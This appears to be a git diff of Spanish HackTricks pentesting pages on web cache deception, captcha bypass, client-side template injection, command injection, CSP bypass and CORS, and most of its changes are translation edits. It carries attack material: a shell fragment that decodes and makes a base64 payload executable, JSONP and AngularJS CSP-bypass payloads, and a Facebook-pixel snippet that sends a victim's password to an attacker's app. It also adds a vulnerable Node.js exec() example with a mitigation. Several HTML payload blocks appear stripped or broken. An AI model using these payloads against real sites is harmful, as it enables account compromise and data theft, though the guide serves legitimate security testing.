+En el ejemplo, se explica que si cargas una página no existente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\
Luego, el **atacante** puede acceder a _http://www.example.com/home.php/non-existent.css_ en su propio navegador y observar la **información confidencial** de los usuarios que accedieron antes.
Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el tipo de contenido. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un tipo de contenido `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_).
-Aprende aquí cómo realizar [ataques de Engaño de Caché abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
+Aprende aquí cómo realizar [ataques de Engaño de Caché abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Herramientas Automáticas
-- [**toxicache**](https://github.com/xhzeem/toxicache): Escáner de Golang para encontrar vulnerabilidades de contaminación de caché web en una lista de URLs y probar múltiples técnicas de inyección.
+- [**toxicache**](https://github.com/xhzeem/toxicache): escáner de Golang para encontrar vulnerabilidades de contaminación de caché web en una lista de URLs y probar múltiples técnicas de inyección.
## Referencias
@@ -269,7 +272,7 @@ Aprende aquí cómo realizar [ataques de Engaño de Caché abusando de HTTP Requ
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
-- [Cómo encontré un 0-Clic de toma de cuenta en un BBP público y lo aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+- [Cómo encontré un 0-Clic de toma de control de cuenta en un BBP público y lo aproveché para acceder a funcionalidades de nivel administrativo](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md
index 395b8daf7..378efbcf0 100644
--- a/src/pentesting-web/captcha-bypass.md
+++ b/src/pentesting-web/captcha-bypass.md
@@ -7,20 +7,20 @@
Para **eludir** el captcha durante las **pruebas del servidor** y automatizar las funciones de entrada de usuario, se pueden emplear diversas técnicas. El objetivo no es socavar la seguridad, sino agilizar el proceso de prueba. Aquí hay una lista completa de estrategias:
1. **Manipulación de Parámetros**:
-- **Omitir el Parámetro de Captcha**: Evitar enviar el parámetro de captcha. Experimentar con cambiar el método HTTP de POST a GET u otros verbos, y alterar el formato de datos, como cambiar entre datos de formulario y JSON.
-- **Enviar Captcha Vacío**: Enviar la solicitud con el parámetro de captcha presente pero dejado vacío.
+- **Omitir el Parámetro de Captcha**: Evitar enviar el parámetro de captcha. Experimentar con cambiar el método HTTP de POST a GET u otros verbos, y alterar el formato de los datos, como cambiar entre datos de formulario y JSON.
+- **Enviar Captcha Vacío**: Enviar la solicitud con el parámetro de captcha presente pero vacío.
2. **Extracción y Reutilización de Valores**:
- **Inspección del Código Fuente**: Buscar el valor del captcha dentro del código fuente de la página.
- **Análisis de Cookies**: Examinar las cookies para ver si el valor del captcha está almacenado y se reutiliza.
-- **Reutilizar Valores de Captcha Antiguos**: Intentar usar valores de captcha previamente exitosos nuevamente. Tener en cuenta que pueden expirar en cualquier momento.
+- **Reutilizar Valores de Captcha Antiguos**: Intentar usar valores de captcha previamente exitosos nuevamente. Tenga en cuenta que pueden expirar en cualquier momento.
- **Manipulación de Sesiones**: Intentar usar el mismo valor de captcha en diferentes sesiones o el mismo ID de sesión.
3. **Automatización y Reconocimiento**:
- **Captchas Matemáticos**: Si el captcha implica operaciones matemáticas, automatizar el proceso de cálculo.
- **Reconocimiento de Imágenes**:
-- Para captchas que requieren leer caracteres de una imagen, determinar manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, se podría identificar cada imagen por su hash MD5.
+- Para captchas que requieren leer caracteres de una imagen, determinar manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, podría identificar cada imagen por su hash MD5.
- Utilizar herramientas de Reconocimiento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar la lectura de caracteres de imágenes.
4. **Técnicas Adicionales**:
-- **Pruebas de Límite de Tasa**: Verificar si la aplicación limita el número de intentos o envíos en un período de tiempo dado y si este límite se puede eludir o restablecer.
+- **Pruebas de Límite de Tasa**: Verificar si la aplicación limita el número de intentos o envíos en un período de tiempo determinado y si este límite se puede eludir o restablecer.
- **Servicios de Terceros**: Emplear servicios o APIs de resolución de captcha que ofrezcan reconocimiento y solución automatizada de captchas.
- **Rotación de Sesiones e IP**: Cambiar frecuentemente los IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor.
- **Manipulación de User-Agent y Encabezados**: Alterar el User-Agent y otros encabezados de solicitud para imitar diferentes navegadores o dispositivos.
@@ -30,7 +30,7 @@ Para **eludir** el captcha durante las **pruebas del servidor** y automatizar la
### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)
-[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) es un servicio impulsado por IA que se especializa en resolver automáticamente varios tipos de captchas, empoderando la recolección de datos al ayudar a los desarrolladores a superar fácilmente los desafíos de captcha encontrados durante el Web Scraping. Soporta captchas como **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest y Cloudflare turnstile, entre otros**. Para los desarrolladores, Capsolver ofrece opciones de integración de API detalladas en [**documentación**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitando la integración de la solución de captcha en aplicaciones. También proporcionan extensiones de navegador para [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) y [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), facilitando el uso de su servicio directamente dentro de un navegador. Diferentes paquetes de precios están disponibles para acomodar diversas necesidades, asegurando flexibilidad para los usuarios.
+[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) es un servicio impulsado por IA que se especializa en resolver automáticamente varios tipos de captchas, potencia la recolección de datos al ayudar a los desarrolladores a superar fácilmente los desafíos de captcha encontrados durante el Web Scraping. Soporta captchas como **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest y Cloudflare turnstile, entre otros**. Para los desarrolladores, Capsolver ofrece opciones de integración de API detalladas en [**documentación**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitando la integración de la solución de captcha en aplicaciones. También proporcionan extensiones de navegador para [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) y [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), facilitando el uso de su servicio directamente dentro de un navegador. Diferentes paquetes de precios están disponibles para acomodar diversas necesidades, asegurando flexibilidad para los usuarios.
{{#ref}}
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md
index 9a18b5e94..3ebc0ff49 100644
--- a/src/pentesting-web/client-side-template-injection-csti.md
+++ b/src/pentesting-web/client-side-template-injection-csti.md
@@ -4,7 +4,7 @@
## Resumen
-Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/index.html) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar código JavaScript** arbitrario en el navegador de la víctima.
+Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/index.html) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar JavaScript** arbitrario en el navegador de la víctima.
**Probar** esta vulnerabilidad es muy **similar** al caso de **SSTI**, el intérprete espera **una plantilla** y la ejecutará. Por ejemplo, con una carga útil como `{{ 7-7 }}`, si la aplicación es **vulnerable** verás un `0`, y si no, verás el original: `{{ 7-7 }}`
@@ -71,6 +71,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
## **Lista de Detección de Fuerza Bruta**
+
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md
index b2a3d9517..d92469a35 100644
--- a/src/pentesting-web/command-injection.md
+++ b/src/pentesting-web/command-injection.md
@@ -8,7 +8,7 @@ Una **inyección de comandos** permite la ejecución de comandos arbitrarios del
### Contexto
-Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto entre comillas** (usando `"` o `'`) antes de los comandos.
+Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto citado** (usando `"` o `'`) antes de los comandos.
## Inyección/Ejecución de Comandos
```bash
@@ -29,9 +29,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
-### **Bypasses de Limitación**
+### **Limitaciones** Bypasses
+
+Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:**
-Si estás tratando de ejecutar **comandos arbitrarios dentro de una máquina linux**, te interesará leer sobre estos **Bypasses:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@@ -45,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Parámetros
-Aquí están los 25 parámetros principales que podrían ser vulnerables a la inyección de código y vulnerabilidades similares de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Aquí están los 25 principales parámetros que podrían ser vulnerables a la inyección de código y vulnerabilidades similares de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@@ -113,19 +114,45 @@ powershell C:**2\n??e*d.*? # notepad
```
#### Linux
+
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
+### Node.js `child_process.exec` vs `execFile`
+
+Al auditar back-ends de JavaScript/TypeScript, a menudo te encontrarás con la API `child_process` de Node.js.
+```javascript
+// Vulnerable: user-controlled variables interpolated inside a template string
+const { exec } = require('child_process');
+exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
+/* … */
+});
+```
+`exec()` genera un **shell** (`/bin/sh -c`), por lo tanto, cualquier carácter que tenga un significado especial para el shell (comillas invertidas, `;`, `&&`, `|`, `$()`, …) resultará en **inyección de comandos** cuando la entrada del usuario se concatene en la cadena.
+
+**Mitigación:** usa `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento de matriz separado** para que no se involucre ningún shell:
+```javascript
+const { execFile } = require('child_process');
+execFile('/usr/bin/do-something', [
+'--id_user', id_user,
+'--payload', JSON.stringify(payload)
+]);
+```
+Caso del mundo real: *Synology Photos* ≤ 1.7.0-0794 era explotable a través de un evento WebSocket no autenticado que colocaba datos controlados por el atacante en `id_user`, que luego se incrustaban en una llamada `exec()`, logrando RCE (Pwn2Own Irlanda 2024).
+
## Lista de Detección de Fuerza Bruta
+
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Referencias
+- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
+- [Extracción de archivos cifrados de Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index dba685cfe..7da70285c 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -8,7 +8,7 @@ La Política de Seguridad de Contenidos (CSP) se reconoce como una tecnología d
La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
-- Implemented via response header:
+- Implementado a través del encabezado de respuesta:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
@@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
CSP puede ser aplicado o monitoreado usando estos encabezados:
- `Content-Security-Policy`: Aplica la CSP; el navegador bloquea cualquier violación.
-- `Content-Security-Policy-Report-Only`: Usado para monitoreo; reporta violaciones sin bloquearlas. Ideal para pruebas en entornos de pre-producción.
+- `Content-Security-Policy-Report-Only`: Usado para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de pre-producción.
### Defining Resources
@@ -69,8 +69,8 @@ object-src 'none';
- `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares, no recomendado por razones de seguridad.
- `'unsafe-hashes'`: Habilita controladores de eventos en línea específicos.
- `'unsafe-inline'`: Permite el uso de recursos en línea como `
@@ -243,7 +243,7 @@ ng-init="c.init()"
```
-Más [**payloads de este informe**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
+Más [**payloads de este artículo**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
@@ -274,7 +274,7 @@ Es posible abusar de Google Apps Script para recibir información en una página
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
-Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca pueden ser eludidos usando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento:
+Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca puede ser eludido utilizando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento:
```html
">
">
@@ -284,18 +284,22 @@ Escenarios como este donde `script-src` está configurado en `self` y un dominio
https://www.youtube.com/oembed?callback=alert;
```
+
+```html
+
+```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.**
La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza.
### Abusos de Terceros
-Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que podrían estar permitidos en algún lugar del CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
+Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que, pueden estar permitidos en algún lugar del CSP, pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
| Entidad | Dominio Permitido | Capacidades |
| ------------------ | ------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
-| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
+| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
@@ -322,18 +326,18 @@ Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho co
5. Ve a "Administrador de eventos" de tu aplicación y selecciona la aplicación que creaste (ten en cuenta que el administrador de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Selecciona la pestaña "Eventos de prueba" para ver los eventos que se envían desde "tu" sitio web.
-Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al ID de aplicación de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este:
+Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al app-id de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
-En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicaciones adicionales sobre otros abusos de terceros.
+En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionada anteriormente para explicaciones adicionales sobre otros abusos de terceros.
### Bypass via RPO (Relative Path Overwrite)
-Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores.
+Además de la redirección mencionada para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores.
Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se puede eludir de la siguiente manera:
```html
@@ -353,11 +357,12 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
### Ejecución de JS en Iframes
+
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
-### falta **base-uri**
+### falta de **base-uri**
Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/index.html).
@@ -370,7 +375,7 @@ Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la bas
Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir la CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox.
-Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación elucida este proceso:
+Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación ilustra este proceso:
```xml
#x
?search=#x
@@ -385,7 +390,7 @@ Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none
```
Una política de CSP que permite dominios para la carga de scripts en una aplicación Angular JS puede ser eludida a través de la invocación de funciones de callback y ciertas clases vulnerables. Más información sobre esta técnica se puede encontrar en una guía detallada disponible en este [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
-Cargas útiles:
+Payloads funcionales:
```html
ng-app"ng-csp ng-click=$event.view.alert(1337)>
@@ -393,7 +398,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)>
```
-### A través de Bookmarklets
+### Via Bookmarklets
Este ataque implicaría algo de ingeniería social donde el atacante **convince al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **código javascript malicioso** que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, **eludiendo CSP y permitiendo robar información sensible** como cookies o tokens.
Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
-### Eludir CSP restringiendo CSP
+### Bypass de CSP restringiendo CSP
-En [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **contaminación de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
+En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **prototype pollution** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**.
Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**:
```html
@@ -556,8 +561,8 @@ Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**:
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'">
```
-En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de **inyección de HTML** **restringir** más un **CSP** de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\
-CSP se puede hacer más restrictivo utilizando **etiquetas meta de HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**:
+En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de **inyección HTML** **restringir** más un **CSP** de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\
+CSP se puede hacer más restrictivo utilizando **etiquetas meta HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**:
```html
` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y porque WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **vulnerable** **callback** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\
+Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **vulnerable** **callback** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\
Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
@@ -673,7 +678,7 @@ Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP:
```
X-DNS-Prefetch-Control: off
```
-> [!NOTE]
+> [!TIP]
> Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots)
### WebRTC
@@ -731,6 +736,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
+- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md
index e30027818..b18f8542c 100644
--- a/src/pentesting-web/cors-bypass.md
+++ b/src/pentesting-web/cors-bypass.md
@@ -10,28 +10,28 @@ Una política de **same-origin** exige que un **servidor que solicita** un recur
La aplicación de la política de same-origin en el contexto de `http://normal-website.com/example/example.html` se ilustra de la siguiente manera:
-| URL accedida | ¿Acceso permitido? |
+| URL accedida | ¿Acceso permitido? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | Sí: Esquema, dominio y puerto idénticos |
| `http://normal-website.com/example2/` | Sí: Esquema, dominio y puerto idénticos |
-| `https://normal-website.com/example/` | No: Esquema y puerto diferentes |
-| `http://en.normal-website.com/example/` | No: Dominio diferente |
-| `http://www.normal-website.com/example/` | No: Dominio diferente |
-| `http://normal-website.com:8080/example/` | No: Puerto diferente\* |
+| `https://normal-website.com/example/` | No: Esquema y puerto diferentes |
+| `http://en.normal-website.com/example/` | No: Dominio diferente |
+| `http://www.normal-website.com/example/` | No: Dominio diferente |
+| `http://normal-website.com:8080/example/` | No: Puerto diferente\* |
\*Internet Explorer ignora el número de puerto al hacer cumplir la política de same-origin, permitiendo así este acceso.
-### Encabezado `Access-Control-Allow-Origin`
+### Cabecera `Access-Control-Allow-Origin`
-Este encabezado puede permitir **múltiples orígenes**, un valor **`null`** o un comodín **`*`**. Sin embargo, **ningún navegador soporta múltiples orígenes**, y el uso del comodín `*` está sujeto a **limitaciones**. (El comodín debe usarse solo, y su uso junto con `Access-Control-Allow-Credentials: true` no está permitido.)
+Esta cabecera puede permitir **múltiples orígenes**, un valor **`null`** o un comodín **`*`**. Sin embargo, **ningún navegador soporta múltiples orígenes**, y el uso del comodín `*` está sujeto a **limitaciones**. (El comodín debe usarse solo, y su uso junto con `Access-Control-Allow-Credentials: true` no está permitido.)
-Este encabezado es **emitido por un servidor** en respuesta a una solicitud de recurso de dominio cruzado iniciada por un sitio web, con el navegador añadiendo automáticamente un encabezado `Origin`.
+Esta cabecera es **emitida por un servidor** en respuesta a una solicitud de recurso de dominio cruzado iniciada por un sitio web, con el navegador añadiendo automáticamente una cabecera `Origin`.
-### Encabezado `Access-Control-Allow-Credentials`
+### Cabecera `Access-Control-Allow-Credentials`
-Por **defecto**, las solicitudes de origen cruzado se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor de dominio cruzado puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado `Access-Control-Allow-Credentials` a **`true`**.
+Por **defecto**, las solicitudes de origen cruzado se realizan sin credenciales como cookies o la cabecera de autorización. Sin embargo, un servidor de dominio cruzado puede permitir la lectura de la respuesta cuando se envían credenciales configurando la cabecera `Access-Control-Allow-Credentials` a **`true`**.
-Si se establece en `true`, el navegador transmitirá credenciales (cookies, encabezados de autorización o certificados de cliente TLS).
+Si se establece en `true`, el navegador transmitirá credenciales (cookies, cabeceras de autorización o certificados de cliente TLS).
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
@@ -64,7 +64,7 @@ xhr.send("Arun")
Al iniciar una solicitud entre dominios bajo condiciones específicas, como el uso de un **método HTTP no estándar** (cualquier cosa que no sea HEAD, GET, POST), introduciendo nuevos **encabezados**, o empleando un valor especial para el **encabezado Content-Type**, puede ser necesaria una solicitud de pre-vuelo. Esta solicitud preliminar, que utiliza el método **`OPTIONS`**, sirve para informar al servidor sobre las intenciones de la próxima solicitud de origen cruzado, incluidos los métodos HTTP y encabezados que se pretende utilizar.
-El protocolo de **Intercambio de Recursos de Origen Cruzado (CORS)** exige esta verificación de pre-vuelo para determinar la viabilidad de la operación de origen cruzado solicitada, verificando los métodos, encabezados permitidos y la confiabilidad del origen. Para una comprensión detallada de qué condiciones eluden la necesidad de una solicitud de pre-vuelo, consulte la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
+El protocolo de **Intercambio de Recursos de Origen Cruzado (CORS)** exige esta verificación de pre-vuelo para determinar la viabilidad de la operación de origen cruzado solicitada, verificando los métodos y encabezados permitidos, así como la confiabilidad del origen. Para una comprensión detallada de qué condiciones eluden la necesidad de una solicitud de pre-vuelo, consulte la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
Es crucial notar que la **ausencia de una solicitud de pre-vuelo no anula el requisito de que la respuesta lleve encabezados de autorización**. Sin estos encabezados, el navegador se ve incapacitado para procesar la respuesta de la solicitud de origen cruzado.
@@ -87,7 +87,7 @@ Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
